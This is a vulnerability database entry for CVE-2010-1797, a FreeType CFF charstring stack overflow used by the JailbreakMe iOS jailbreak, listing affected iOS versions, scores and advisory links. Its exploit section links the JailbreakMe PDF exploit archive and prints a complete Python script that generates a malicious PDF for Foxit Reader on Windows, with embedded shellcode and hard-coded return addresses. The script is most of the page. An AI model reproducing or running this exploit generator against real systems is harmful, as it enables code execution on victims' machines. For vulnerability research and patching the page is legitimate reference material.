CVE-2010-1797 : Detail

CVE-2010-1797

Overflow
46.42%V3
Network
2010-08-16
16h25 +00:00
2017-08-16
12h57 +00:00
CVE.org
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CVE Descriptions

Multiple stack-based buffer overflows in the cff_decoder_parse_charstrings function in the CFF Type2 CharStrings interpreter in cff/cffgload.c in FreeType before 2.4.2, as used in Apple iOS before 4.0.2 on the iPhone and iPod touch and before 3.2.2 on the iPad, allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via crafted CFF opcodes in embedded fonts in a PDF document, as demonstrated by JailbreakMe. NOTE: some of these details are obtained from third party information.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 14538

Publication date : 2010-08-02 22h00 +00:00
Author : jailbreakme
EDB Verified : Yes

The files contained in the archive link below are those that make use of a pdf exploit in order to jailbreak devices running Apple iOS. These pdf's are of interest in that they originate in userland and give root access to the devices. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14538.7z (ios_pdf_exploit.7z)
Exploit Database EDB-ID : 14727

Publication date : 2010-08-23 22h00 +00:00
Author : Jose Miguel Esparza
EDB Verified : No

import sys,zlib def getFFShellcode(sc): ff_sc = '' if len(sc)%4 != 0: sc += (4-len(sc)%4)*'\x00' for i in range(0,len(sc),4): ff_sc += '\xff'+sc[i+3]+sc[i+2]+sc[i+1]+sc[i] return ff_sc outputHeader = ''' ############################################################################################## # FreeType Compact Font Format (CFF) Multiple Stack Based Buffer Overflow (CVE-2010-1797) # ############################################################################################## # # # Product: Foxit Reader <= 4.0 # # Platforms: Windows XP, Windows Vista # # Author: Jose Miguel Esparza <jesparza AT eternal-todo DOT com> # # Web: http://eternal-todo.com # # Date: 2010-08-23 # # # ############################################################################################## ''' outputFileName = 'foxit_type2_poc.pdf' usage = 'Usage: '+sys.argv[0]+' target\n\nTargets:\n\t0 - Foxit Reader > 3.0\n\t1 - Foxit Reader 3.0\n\t2 - Other versions' COMEX_PDF_TEMPLATE = '''%PDF-1.3 %\xbe\xbe\xba\xba 4 0 obj << /Length 631 >> stream q Q q 18 750 576 24 re W n /Cs1 cs 0 0 0 sc q 1 0 0 -1 0 0 cm BT 0.0003 Tc 7 0 0 -7 534.7051 -768 Tm /F2.0 1 Tf [ (4/15/10 8:01 P) 1 (M) ] TJ ET Q q 1 0 0 -1 0 0 cm BT 7 0 0 -7 18 -768 Tm /F2.0 1 Tf [ (d) -0.4 (a) -0.2 (ta) -0.2 (:) -0.4 (te) -0.1 (x) -0.3 (t/) -0.4 (h) 0.4 (tm) 0.4 (l) -0.1 (,) -0.4 ( ) ] TJ ET Q Q q 18 40 576 24 re W n /Cs1 cs 0 0 0 sc q 1 0 0 -1 0 0 cm BT -0.0003 Tc 7 0 0 -7 555.6299 -43 Tm /F2.0 1 Tf [ (Pa) -1 (ge ) -1 (1) -1 ( ) -1 (o) -1 (f ) -1 (1) ] TJ ET Q Q q 18 190 576 560 re W n /Cs1 cs 1 1 1 sc 18 190 576 560 re f 0 0 0 sc q 0.8 0 0 -0.8 18 750 cm BT 16 0 0 -16 8 22 Tm /F2.0 1 Tf ( ) Tj ET Q Q endstream endobj 2 0 obj << /Type /Page /Parent 3 0 R /Resources 5 0 R /Contents 4 0 R /MediaBox [0 0 612 792] >> endobj 5 0 obj << /ProcSet [ /PDF /Text ] /ColorSpace << /Cs1 6 0 R >> /Font << /F2.0 8 0 R >> >> endobj 3 0 obj << /Type /Pages /MediaBox [0 0 612 792] /Count 1 /Kids [ 2 0 R ] >> endobj 7 0 obj << /Type /Catalog /Pages 3 0 R >> endobj 11 0 obj << /Subtype/Type1C /Filter[/FlateDecode] /Length $CFF_STREAM_LENGTH >> stream $CFF_STREAM endstream endobj 9 0 obj << /Type /FontDescriptor /Ascent 750 /CapHeight 676 /Descent -250 /Flags 32 /FontBBox [-203 -428 1700 1272] /FontName /CSDIZD+Times-Roman /ItalicAngle 0 /StemV 0 /MaxWidth 1721 /XHeight 461 /FontFile3 11 0 R >> endobj 10 0 obj [ 556 ] endobj 8 0 obj << /Type /Font /Subtype /Type1 /BaseFont /CSDIZD+Times-Roman /FontDescriptor 9 0 R /Widths 10 0 R /FirstChar 32 /LastChar 32 /Encoding /MacRomanEncoding >> endobj 1 0 obj << >> endobj xref 0 12 0000000000 65535 f 0000017767 00000 n 0000000408 00000 n 0000003397 00000 n 0000000022 00000 n 0000000389 00000 n 0000000512 00000 n 0000003361 00000 n 0000017359 00000 n 0000007240 00000 n 0000000622 00000 n 0000003340 00000 n trailer << /Size 12 /Root 7 0 R /Info 1 0 R >> startxref 17942 %%EOF ''' MAX_FF_SECTION_LEN = 45*5 JUMP_BYTE = ['\xcd','\xcc'] POP_POP_RET_ADDRESS = ['\x00\x40\x11\x85','\x00\x40\xce\x36'] # Foxit reader addresses, depending on the version NUM_SECOND_INSTRUCTIONS_SET = [183,182] # calc.exe shellcode shellcode = '\x68\x10\xf5\x00\x00\x31\xf6\x64\x8b\x76\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x6e\x08\x8b\x36\x8b\x5d\x3c\x8b\x5c\x1d\x78\x01\xeb\x8b\x4b\x18\x67\xe3\xec\x8b\x7b\x20\x01\xef\x8b\x7c\x8f\xfc\x01\xef\x31\xc0\x99\x32\x17\x66\xc1\xca\x01\xae\x75\xf7\x58\x66\x3b\xd0\x50\xe0\xe2\x75\xcc\x8b\x53\x24\x01\xea\x0f\xb7\x14\x4a\x8b\x7b\x1c\x01\xef\x03\x2c\x97\x66\x3d\x10\xf5\x75\x0e\x33\xc0\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x54\xff\xd5\x68\x06\xcb\x00\x00\xeb\x92' cff_header = '\x01\x00\x04\x01\x00\x01\x01\x01\x13ABCDEF+Times-Roman\x00\x01\x01\x01\x1f\xf8\x1b\x00\xf8\x1c\x02\xf8\x1d\x03\xf8\x19\x04\x1co\x00\r\xfb<\xfbn\xfa|\xfa\x16\x05\xe9\x11\x8b\x8b\x12\x00\x03\x01\x01\x08\x13\x18001.007Times RomanTimes\x00\x00\x00\x02\x04\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x04\xdc' if len(sys.argv) > 2 or (len(sys.argv) == 2 and not sys.argv[1].isdigit()) or len(sys.argv) == 1: sys.exit(usage) version = int(sys.argv[1]) if version == 2: sys.exit('Versions < 3.0 are not implemented, try it!! ;)\n') if version > 2: sys.exit(usage) print outputHeader print '[-] Creating PDF file...' # Building the FF section ff_shellcode = getFFShellcode(shellcode) ff_zero_bytes = '\xff\x00\x00\x00\x00' ff_instructions = ff_zero_bytes*11 + ff_shellcode + ((MAX_FF_SECTION_LEN - len(ff_shellcode) - 55 - 5*5)/5) * ff_zero_bytes + '\xff\x90\x90\x8a\xeb' + '\xff'+POP_POP_RET_ADDRESS[version] + ('\xff\x00'+JUMP_BYTE[version]+'\x00\x00')*3 if len(ff_instructions) > MAX_FF_SECTION_LEN: sys.exit('[x] FF section bigger than expected!!') # Operators sections first_instructions_set = '\x0c\x17\x0c\x17\x0c\x04\x0c\x1d' * 20 second_instructions_set = '\x0c\x17\x0c\x1d' * NUM_SECOND_INSTRUCTIONS_SET[version] third_instructions_set = '\x0c\x1d\x0c\x12' * 42 # Building the full CFF content for the fake charstring cff_content = cff_header + '\x0e'*4 + ff_instructions + first_instructions_set + second_instructions_set + third_instructions_set + ff_zero_bytes + '\x0e' # Decoding with FlateDecode encoded_cff_content = zlib.compress(cff_content) # Creating the PDF based on the Comex PDF, slightly modified pdf_content = COMEX_PDF_TEMPLATE pdf_content = pdf_content.replace('$CFF_STREAM_LENGTH',str(len(encoded_cff_content))) pdf_content = pdf_content.replace('$CFF_STREAM',encoded_cff_content) open(outputFileName,'w').write(pdf_content) print '[+] File "'+outputFileName+'" created, test it!!'

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version 1.0.0

Apple>>Iphone_os >> Version 1.0.1

Apple>>Iphone_os >> Version 1.0.1

Apple>>Iphone_os >> Version 1.0.2

Apple>>Iphone_os >> Version 1.0.2

Apple>>Iphone_os >> Version 1.1.0

Apple>>Iphone_os >> Version 1.1.0

Apple>>Iphone_os >> Version 1.1.0

Apple>>Iphone_os >> Version 1.1.1

Apple>>Iphone_os >> Version 1.1.1

Apple>>Iphone_os >> Version 1.1.2

Apple>>Iphone_os >> Version 1.1.2

Apple>>Iphone_os >> Version 1.1.2

Apple>>Iphone_os >> Version 1.1.3

Apple>>Iphone_os >> Version 1.1.3

Apple>>Iphone_os >> Version 1.1.3

Apple>>Iphone_os >> Version 1.1.4

Apple>>Iphone_os >> Version 1.1.4

Apple>>Iphone_os >> Version 1.1.4

Apple>>Iphone_os >> Version 1.1.5

Apple>>Iphone_os >> Version 1.1.5

Apple>>Iphone_os >> Version 1.1.5

Apple>>Iphone_os >> Version 2.0

Apple>>Iphone_os >> Version 2.0.0

Apple>>Iphone_os >> Version 2.0.0

Apple>>Iphone_os >> Version 2.0.0

Apple>>Iphone_os >> Version 2.0.1

Apple>>Iphone_os >> Version 2.0.1

Apple>>Iphone_os >> Version 2.0.1

Apple>>Iphone_os >> Version 2.0.2

Apple>>Iphone_os >> Version 2.0.2

Apple>>Iphone_os >> Version 2.0.2

Apple>>Iphone_os >> Version 2.1

Apple>>Iphone_os >> Version 2.1

Apple>>Iphone_os >> Version 2.1

Apple>>Iphone_os >> Version 2.1.1

Apple>>Iphone_os >> Version 2.2

Apple>>Iphone_os >> Version 2.2

Apple>>Iphone_os >> Version 2.2.1

Apple>>Iphone_os >> Version 2.2.1

Apple>>Iphone_os >> Version 2.2.1

Apple>>Iphone_os >> Version 3.0

Apple>>Iphone_os >> Version 3.0

Apple>>Iphone_os >> Version 3.0

Apple>>Iphone_os >> Version 3.0.1

Apple>>Iphone_os >> Version 3.0.1

Apple>>Iphone_os >> Version 3.1

Apple>>Iphone_os >> Version 3.1

Apple>>Iphone_os >> Version 3.1

Apple>>Iphone_os >> Version 3.1.2

Apple>>Iphone_os >> Version 3.1.2

Apple>>Iphone_os >> Version 3.1.2

Apple>>Iphone_os >> Version 3.1.3

Apple>>Iphone_os >> Version 3.1.3

Apple>>Iphone_os >> Version 3.2

Apple>>Iphone_os >> Version 3.2

Apple>>Iphone_os >> Version 3.2

Apple>>Iphone_os >> Version 3.2.1

Apple>>Iphone_os >> Version 3.2.1

Apple>>Iphone_os >> Version 4.0

Apple>>Iphone_os >> Version 4.0

Apple>>Iphone_os >> Version 4.0

Apple>>Iphone_os >> Version 4.0.1

Apple>>Iphone_os >> Version 4.0.1

Apple>>Iphone_os >> Version 4.0.1

References

http://www.exploit-db.com/exploits/14538
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.vupen.com/english/advisories/2010/2018
Tags : vdb-entry, x_refsource_VUPEN
http://osvdb.org/66828
Tags : vdb-entry, x_refsource_OSVDB
http://www.ubuntu.com/usn/USN-972-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/40816
Tags : third-party-advisory, x_refsource_SECUNIA
http://support.apple.com/kb/HT4292
Tags : x_refsource_CONFIRM
http://www.securityfocus.com/bid/42151
Tags : vdb-entry, x_refsource_BID
http://support.apple.com/kb/HT4291
Tags : x_refsource_CONFIRM
http://secunia.com/advisories/40982
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2010/2106
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/48951
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/40807
Tags : third-party-advisory, x_refsource_SECUNIA